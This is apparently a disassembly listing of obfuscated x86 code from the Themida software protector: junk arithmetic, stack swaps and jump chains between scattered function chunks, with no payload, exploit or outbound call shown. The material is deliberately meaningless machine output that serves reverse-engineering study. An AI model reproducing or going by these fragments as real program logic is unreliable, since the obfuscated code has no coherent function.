push ebx
mov ebx, 2340051Eh
push ebx
pop eax
jmp loc_565157
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56B538: ; CODE XREF: sub_56F7FC-9F57j
push ecx
mov ecx, 135A3283h
jmp loc_56B60B
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56B543: ; CODE XREF: Themida_:00562F0Cj
mov ebx, 0
add ebx, 6C6C5C99h
add ebx, ecx
jmp loc_561028
; ---------------------------------------------------------------------------
loc_56B555: ; CODE XREF: Themida_:00570457j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
jmp loc_5618F7
; ---------------------------------------------------------------------------
loc_56B570: ; CODE XREF: Themida_:0056EB7Dj
push dword ptr [esp]
jmp loc_5642AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B578: ; CODE XREF: sub_56755A+60C0j
add esp, 4
push ebx
mov ebx, 4
jmp loc_56A748
; ---------------------------------------------------------------------------
loc_56B586: ; CODE XREF: sub_56755A+CC3j
pop ebx
mov ecx, [esp-12h+arg_C+2]
jmp loc_568321
; ---------------------------------------------------------------------------
loc_56B58F: ; CODE XREF: sub_56755A-5610j
xor byte ptr [esp+4+var_4], ah
jmp loc_55C502
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_56B597: ; CODE XREF: sub_56B62C-E368j
pop eax
sub al, dh
jmp loc_561ED0
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_56B59F: ; CODE XREF: Themida_:0056EA48j
pop edx
pop dword ptr [esp]
mov esp, [esp]
push 0D94h
mov [esp], edx
push 1D6Ch
mov [esp], ecx
push esp
jmp loc_55FD9A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_56B5BC: ; CODE XREF: sub_5B3505-4E5E4j
mov ebx, esp
jmp loc_55DDB6
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B5C3: ; CODE XREF: sub_56755A-5652j
mov esp, [esp-4+arg_0]
jmp loc_5657EA
; ---------------------------------------------------------------------------
loc_56B5CB: ; CODE XREF: sub_56755A+882Aj
pop ebx
push 757Eh
jmp loc_56C175
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56B5D6: ; CODE XREF: sub_55CD7B+DA74j
push [esp+4+var_4]
pop edx
push edx
mov edx, esp
add edx, 4
jmp loc_563541
; END OF FUNCTION CHUNK FOR sub_55CD7B
; =============== S U B R O U T I N E =======================================
sub_56B5E8 proc near ; CODE XREF: sub_56D600-7AB8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055FF03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563F0B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00565FC1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005665E8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00566B3A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005697A9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C672 SIZE 0000000F BYTES
push ebx
push edi
mov edi, 47F21A24h
push eax
jmp loc_56C672
sub_56B5E8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A41
loc_56B5F5: ; CODE XREF: sub_563A41+29j
add [ebx], esi
pop ebx
pop ecx
jmp loc_55E4E7
; END OF FUNCTION CHUNK FOR sub_563A41
; ---------------------------------------------------------------------------
loc_56B5FE: ; CODE XREF: Themida_:0056FD5Ej
add esi, eax
sub esi, 66A71942h
jmp loc_55BA4D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56B60B: ; CODE XREF: sub_56F7FC-42BEj
add edx, ecx
pop ecx
add edx, edi
sub edx, 135A3283h
push dword ptr [edx]
jmp loc_565C9A
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56B61D: ; CODE XREF: Themida_:00569BC9j
not ebp
add ebp, 0FEE1C8C4h
add edx, ebp
jmp loc_55E1A1
; =============== S U B R O U T I N E =======================================
sub_56B62C proc near ; CODE XREF: sub_56755A+10ADj
var_E = dword ptr -0Eh
var_8 = word ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C8A3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055D2AD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055D9FC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055DD11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561107 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561390 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00561ED0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562159 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564E42 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565F16 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A82E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B597 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CBB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D41B SIZE 0000000C BYTES
sub esp, 2
mov word ptr [esp+4+var_4], cx
jmp loc_561390
sub_56B62C endp
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56B647: ; CODE XREF: Themida_:0055CC9Dj
add ebx, esi
jmp loc_5686DA
; ---------------------------------------------------------------------------
loc_56B64E: ; CODE XREF: Themida_:0056F078j
push 0
sub [esp], ebx
pop ebx
jmp loc_564488
; ---------------------------------------------------------------------------
loc_56B65C: ; CODE XREF: Themida_:00562F03j
add dword ptr [esp], 4
pop esi
add esi, 4
push ecx
sub esp, 4
mov [esp], ebx
sub esp, 4
jmp loc_5656B7
; ---------------------------------------------------------------------------
lodsb
push ebx
push ecx
mov cl, 22h
add cl, 11h
mov bh, cl
pop ecx
add bh, 8Ah
add al, bh
pop ebx
sub al, 66h
sub al, 0DCh
add al, bl
sub esp, 4
mov [esp], edx
mov dl, 7Dh
add dl, 5Fh
add al, dl
pop edx
jmp loc_5649D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B6A0: ; CODE XREF: sub_56755A+5481j
pop cx
jmp loc_56E3CC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56B6A7: ; CODE XREF: sub_56E89A-1F09j
add ebp, 4
push ebp
push [esp+8+var_4]
jmp loc_562B15
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56B6B4: ; CODE XREF: Themida_:0056EE21j
mov cl, 0B2h
and cl, 0B7h
shr cl, 8
neg cl
xor cl, 0DEh
not cl
xor cl, 0E7h
sub al, cl
pop ecx
push ebx
mov bh, 9Bh
sub bh, 5Bh
sub bh, 0AFh
sub bh, 3Fh
add al, bh
pop ebx
sub al, bl
sub al, 52h
push cx
push edx
mov dh, 50h
jmp loc_566A6C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_56B6E6: ; CODE XREF: sub_563973+503Fj
not edx
not edx
xor edx, 7ACC06DFh
jmp loc_564C95
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
loc_56B6F5: ; CODE XREF: Themida_:0055DA5Fj
sub esp, 4
mov [esp], edx
push eax
sub esp, 4
mov [esp], ebx
mov ebx, 1918068Ch
or ebx, 35AE0353h
inc ebx
push edx
mov edx, 12D92662h
jmp loc_56F92A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_56B719: ; CODE XREF: sub_568D4B+18A0j
pop esi
jmp loc_55BCA1
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_56B71F: ; CODE XREF: Themida_:0055E0E4j
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
jmp loc_55DC90
; ---------------------------------------------------------------------------
loc_56B741: ; CODE XREF: Themida_:0056B056j
add ebx, 7DA60D6h
mov ecx, ebx
jmp loc_562AAB
; ---------------------------------------------------------------------------
loc_56B74E: ; CODE XREF: Themida_:0056C5E3j
add edx, 6E093416h
add edx, 27931FEh
xor edx, 78BF3DB1h
xor ebx, edx
pop edx
and ebx, 706F45CDh
sub ebx, 47324FAh
jmp loc_563944
; =============== S U B R O U T I N E =======================================
sub_56B774 proc near ; CODE XREF: sub_5673DF-8E2Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055C743 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055E2E7 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005609E4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00561CD5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056329A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566CE6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00566E3C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005685C5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568A27 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C643 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D7C0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056F69E SIZE 00000024 BYTES
sub esp, 4
mov [esp+4+var_4], esi
mov esi, esp
push ebx
jmp loc_55E2E7
sub_56B774 endp
; ---------------------------------------------------------------------------
loc_56B782: ; CODE XREF: Themida_:0055E3ACj
push edx
mov dh, 41h
sub esp, 4
mov [esp], edx
mov dl, 0E3h
mov cl, 1Ch
jmp loc_55EE37
; ---------------------------------------------------------------------------
loc_56B794: ; CODE XREF: Themida_:005703ACj
push esp
pop ecx
jmp loc_56A558
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B79B: ; CODE XREF: sub_56755A-4F6Cj
xor ecx, 4BBCC0DDh
sub eax, ecx
pop ecx
sub eax, ecx
add eax, 31193A72h
sub eax, 32267602h
jmp loc_56295D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B7B5: ; CODE XREF: Themida_:0056AEE6j
neg edx
neg edx
jmp loc_565299
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_56B7BE: ; CODE XREF: sub_56A500+706j
add edi, esi
jmp loc_56A11D
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B7C5: ; CODE XREF: sub_56755A-62Aj
push esp
mov eax, [esp+0Ch+var_C]
add esp, 4
push ebx
mov ebx, 4
sub eax, 37623528h
jmp loc_5655CC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56B7DC: ; CODE XREF: sub_56F7FC-E356j
add ecx, ebx
pop ebx
add [esp-0Ch+arg_C], 22D17211h
sub [esp-0Ch+arg_C], ecx
sub [esp-0Ch+arg_C], 22D17211h
push [esp-0Ch+arg_8]
jmp loc_56B4E7
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_56B7FB: ; CODE XREF: sub_56D600-6245j
push esp
jmp loc_565B47
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_56B801: ; CODE XREF: sub_560CAA-4C3Bj
pop edx
mov ecx, [esp+8+var_8]
add esp, 4
dec ecx
push edx
jmp loc_55E242
; END OF FUNCTION CHUNK FOR sub_560CAA
; =============== S U B R O U T I N E =======================================
sub_56B812 proc near ; CODE XREF: sub_55DA88+7C55j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C23C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00565DD0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00568B2E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D580 SIZE 00000015 BYTES
sub esp, 4
mov [esp+4+var_4], edi
push 14C5h
jmp loc_55C23C
sub_56B812 endp
; ---------------------------------------------------------------------------
loc_56B822: ; CODE XREF: Themida_:00565219j
mov [esp], eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_56C54D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B841: ; CODE XREF: sub_56755A-95AFj
sub ecx, 0FFFFFFFFh
shr ecx, 5
push esi
push 57A45D68h
pop esi
inc esi
push ecx
mov ecx, 6FA73CA8h
push ebp
push edx
jmp loc_56D7EC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B85C: ; CODE XREF: Themida_:00564E76j
push esi
jmp loc_561F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B862: ; CODE XREF: sub_56755A+31F5j
pop ecx
shr ecx, 2
shl ecx, 7
inc ecx
sub ecx, 48BC6D8Bh
jmp loc_5671AB
; ---------------------------------------------------------------------------
loc_56B875: ; CODE XREF: sub_56755A+7FFEj
mov edx, [esp+1Ch+var_1C]
add esp, 4
push [esp+18h+var_18]
mov ecx, [esp+1Ch+var_1C]
add esp, 4
add esp, 4
xor al, bl
pop ebx
push ebp
mov ebp, esp
jmp loc_563DD9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_56B895: ; CODE XREF: sub_566C65+8495j
push edx
mov edx, 6BE471CDh
add ecx, edx
pop edx
jmp loc_55E945
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56B8A3: ; CODE XREF: sub_55D71E+CE78j
mov ah, dl
jmp loc_560A15
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B8AA: ; CODE XREF: sub_56755A-3B7Ej
xor ebx, [esp+1Ah+var_1C+2]
xor [esp+1Ah+var_1C+2], ebx
xor ebx, [esp+1Ah+var_1C+2]
pop esp
jmp loc_567376
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B8B9: ; CODE XREF: Themida_:00569E99j
pop ecx
add ebx, 250577E4h
add ebx, ebp
jmp loc_564E37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_56B8C7: ; CODE XREF: sub_56026A+48B4j
pop esp
mov [esp+0Ch+var_C], esp
add [esp+0Ch+var_C], 4
pop ecx
jmp loc_561465
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE6C
loc_56B8D5: ; CODE XREF: sub_56AE6C+1j
push 5E20h
mov [esp+8+var_8], edx
mov dl, 0D4h
push eax
jmp loc_567FEC
; END OF FUNCTION CHUNK FOR sub_56AE6C
; ---------------------------------------------------------------------------
loc_56B8E5: ; CODE XREF: Themida_:0055BF46j
mov bh, 0D7h
jmp loc_5645BB
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7F23h
mov [esp], ebx
push 184Eh
sub esp, 4
mov [esp], esp
jmp loc_56881C
; ---------------------------------------------------------------------------
loc_56B908: ; CODE XREF: Themida_:00568A8Dj
mov ebp, 658A4795h
push edi
jmp loc_5630E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B913: ; CODE XREF: sub_56755A-8290j
mov eax, 170F4FDAh
add eax, 0E8F0B02Ah
sub ebx, 471F142Eh
add ebx, eax
add ebx, 471F142Eh
pop eax
jmp loc_561EA2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B931: ; CODE XREF: Themida_:005633A1j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56B936: ; CODE XREF: Themida_:0055BC9Cj
mov ebx, 3BB16F92h
mov ecx, 2D21F95Bh
add ecx, 4EAC1435h
add ecx, ebx
sub ecx, 4EAC1435h
jmp loc_56A813
; ---------------------------------------------------------------------------
loc_56B953: ; CODE XREF: Themida_:00568FE1j
xor [esp], ebp
xor ebp, [esp]
jmp loc_56C8D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_56B95E: ; CODE XREF: sub_56D164-5C46j
push esp
mov ebp, [esp+0]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+4+var_4]
pop esp
mov [esp+0], eax
jmp loc_564132
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_56B97D: ; CODE XREF: Themida_:0056EA6Aj
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push ebp
push esi
jmp loc_56EAB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B99D: ; CODE XREF: sub_56755A-A842j
add ebp, edx
pop edx
push eax
push ecx
mov ecx, 3A62734h
mov eax, ecx
pop ecx
jmp loc_55D545
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B9AF: ; CODE XREF: Themida_:0055F929j
mov ecx, 4
jmp loc_5691EA
; ---------------------------------------------------------------------------
loc_56B9B9: ; CODE XREF: Themida_:00566743j
xor edi, 1F7B0F39h
and edi, 4A0F62F8h
inc edi
xor edi, 6C980023h
add ebp, edi
jmp loc_5652A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56B9D3: ; CODE XREF: sub_56CB7D-1FB3j
mov edi, 4
add ebp, edi
pop edi
xchg ebp, [esp+18h+var_18]
pop esp
push edi
mov edi, 0FFFFFFFFh
add edx, edi
push [esp+18h+var_18]
pop edi
jmp loc_562F31
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_56B9F0: ; CODE XREF: Themida_:00568744j
push ebp
push edx
mov edx, 6AF52CF3h
sub esp, 4
mov [esp], edi
mov edi, 1D651FF6h
mov ebp, 558F93BEh
push ecx
mov ecx, 73BE7752h
jmp loc_567CCF
; =============== S U B R O U T I N E =======================================
sub_56BA15 proc near ; CODE XREF: sub_56755A-97FEj
; FUNCTION CHUNK AT 00560956 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056845A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005699D9 SIZE 0000000D BYTES
push ebx
jmp loc_5699D9
sub_56BA15 endp
; ---------------------------------------------------------------------------
loc_56BA1B: ; CODE XREF: Themida_:00567301j
push ecx
push eax
jmp loc_560D84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BA22: ; CODE XREF: sub_56755A-B399j
mov [esp+0], edx
push 2670h
jmp loc_56C6C2
; ---------------------------------------------------------------------------
loc_56BA2F: ; CODE XREF: sub_56755A+580Fj
mov ecx, esp
add ecx, 4
jmp loc_567F91
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BA3C: ; CODE XREF: Themida_:0055F4ECj
sub esp, 4
mov [esp], edx
jmp loc_564F02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D65
loc_56BA47: ; CODE XREF: sub_560D65-2C9Ej
mov ebx, 780037D7h
inc ebx
dec ebx
and ebx, 4C6C35C8h
and ebx, 180F693Ah
sub ebx, 8AD0E2Dh
xor ebx, 0A2385B11h
jmp loc_568D65
; END OF FUNCTION CHUNK FOR sub_560D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BA6B: ; CODE XREF: sub_56755A+55AFj
push [esp+4+var_4]
push [esp+8+var_8]
jmp loc_56EB09
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BA76: ; CODE XREF: Themida_:0056711Dj
inc esi
push ecx
mov ecx, 45590061h
add esi, ecx
pop ecx
xor edx, esi
push dword ptr [esp]
jmp loc_56B4C7
; ---------------------------------------------------------------------------
loc_56BA8A: ; CODE XREF: Themida_:0056331Dj
push dword ptr [esp]
pop eax
push eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
pop edi
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
jmp loc_56D24E
; ---------------------------------------------------------------------------
loc_56BAA9: ; CODE XREF: Themida_:005632D3j
add ebx, 0ADA273CDh
push 49DBh
mov [esp], ebx
pop edi
jmp loc_56C15F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_56BABD: ; CODE XREF: sub_565C4A-68D6j
add esi, 4E25518Eh
mov ecx, esi
pop esi
push ecx
jmp loc_55BDA9
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BACC: ; CODE XREF: sub_56755A-9E66j
mov eax, 0
sub eax, ebp
xchg eax, ebp
mov eax, [esp+18h+var_18]
add esp, 4
not ebp
dec ebp
not ebp
add ebp, 0A736F785h
add esi, ebp
pop ebp
mov ebx, esi
push [esp+10h+var_10]
jmp loc_562E20
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push 2574h
mov [esp], eax
push ebp
jmp loc_56872B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BB00: ; CODE XREF: sub_56755A+47F2j
add eax, 4
add eax, 4
xchg eax, [esp+14h+var_14]
pop esp
xchg esi, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
jmp loc_56AF88
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BB19: ; CODE XREF: Themida_:0055FB5Bj
or ecx, edi
jmp loc_55E8FC
; ---------------------------------------------------------------------------
loc_56BB20: ; CODE XREF: Themida_:0056332Cj
add esp, 4
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], edx
mov edx, 4
push 647Bh
mov [esp], ebp
mov ebp, edx
mov ecx, ebp
jmp loc_56F367
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BB4B: ; CODE XREF: sub_56755A-3FE3j
push 4
pop edi
add ebx, edi
mov edi, [esp-24h+arg_20]
add esp, 4
jmp sub_55F5D6
; ---------------------------------------------------------------------------
loc_56BB61: ; CODE XREF: sub_56755A+694j
pop esp
mov [esp+28h+var_28], esi
push eax
jmp loc_5654C0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BB6B: ; CODE XREF: Themida_:0056FAA6j
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_56022A
; ---------------------------------------------------------------------------
loc_56BB77: ; CODE XREF: Themida_:0056DDE3j
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], eax
jmp loc_55B74F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_56BB8C: ; CODE XREF: sub_56CB1B-AB31j
xor ebx, ecx
jmp loc_567088
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BB93: ; CODE XREF: sub_56755A+56A6j
add edi, 4
xor edi, [esp+2Ch+var_2C]
xor [esp+2Ch+var_2C], edi
xor edi, [esp+2Ch+var_2C]
pop esp
jmp loc_560080
; ---------------------------------------------------------------------------
loc_56BBA8: ; CODE XREF: sub_56755A-A135j
xchg ecx, [esp+2Ch+var_2C]
not ecx
jmp loc_5678F6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_56BBB2: ; CODE XREF: sub_565269+6D42j
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
add esp, 4
or edx, eax
shl edx, 1
push esi
sub esp, 4
mov [esp+8+var_8], edx
jmp loc_5660DC
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BBD8: ; CODE XREF: sub_56755A-3C2Cj
mov edx, 1A1975B1h
sub ebx, edx
push [esp+12h+var_14+2]
pop edx
add esp, 4
sub ebx, 3347C39h
jmp loc_5690D4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BBF1: ; CODE XREF: Themida_:0055BB6Ej
add dword ptr [esp], 4
pop ecx
jmp loc_56FE00
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BBFE: ; CODE XREF: sub_56755A+4CADj
push edi
mov edi, 24C47E06h
add edi, 76396544h
add edi, 65021CBAh
add esi, edi
pop edi
jmp loc_561FEF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BC18: ; CODE XREF: Themida_:0056086Dj
add eax, 7180A06h
add ecx, 306044CFh
add ecx, eax
jmp loc_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BC2A: ; CODE XREF: sub_56755A+7B62j
xor ebp, [esp+0Eh+var_10+2]
xor [esp+0Eh+var_10+2], ebp
xor ebp, [esp+0Eh+var_10+2]
jmp loc_55C9D3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
push 75DAh
jmp loc_563449
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BC46: ; CODE XREF: sub_56755A-1D2Fj
add edx, 27945F60h
push ecx
mov ecx, 355734F6h
or ecx, 2FB7619Bh
xor ecx, 32D57225h
add ecx, 1EC06403h
jmp loc_56621F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BC69: ; CODE XREF: Themida_:0055FA7Ej
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_5704B3
; ---------------------------------------------------------------------------
loc_56BC7D: ; CODE XREF: Themida_:0055ED66j
push esi
mov esi, 43434901h
jmp loc_56823D
; ---------------------------------------------------------------------------
loc_56BC88: ; CODE XREF: Themida_:0056E1D3j
pop edx
add edx, 4
add edx, 2
push 2166h
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_56C032
; ---------------------------------------------------------------------------
loc_56BCA6: ; CODE XREF: Themida_:0056E06Bj
add ecx, 406E75D6h
or ecx, 6B112F24h
add ecx, 2F4C79E3h
add eax, ecx
jmp loc_5639E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BCBF: ; CODE XREF: sub_56755A-411Fj
add eax, ecx
sub esp, 4
mov [esp-18h+arg_14], edx
jmp loc_564E96
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BCCC: ; CODE XREF: Themida_:0055E332j
push ebp
jmp loc_566ABC
; ---------------------------------------------------------------------------
loc_56BCD2: ; CODE XREF: Themida_:0055D3F4j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push 6B87h
mov [esp], ecx
mov ecx, 4
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 5CFF4510h
mov ebx, ebp
pop ebp
jmp loc_56A143
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BD10: ; CODE XREF: sub_56755A+8EA0j
mov ebp, ebx
pop ebx
pop ecx
xor [esp-20h+arg_20], ebp
pop ebp
push [esp-24h+arg_20]
mov ebx, [esp-20h+arg_1C]
push esi
sub esp, 4
jmp loc_568403
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BD28: ; CODE XREF: Themida_:0056A42Bj
sub ebx, edx
xchg ebx, edx
jmp loc_567961
; ---------------------------------------------------------------------------
loc_56BD31: ; CODE XREF: Themida_:0055D6ABj
pop eax
add eax, 4
sub esp, 4
jmp loc_564B99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BD42: ; CODE XREF: sub_56755A+3C5j
push 65F6h
mov [esp-4+arg_0], eax
mov eax, esp
jmp loc_56BB00
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BD51: ; CODE XREF: Themida_:00564F7Dj
pop dword ptr [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
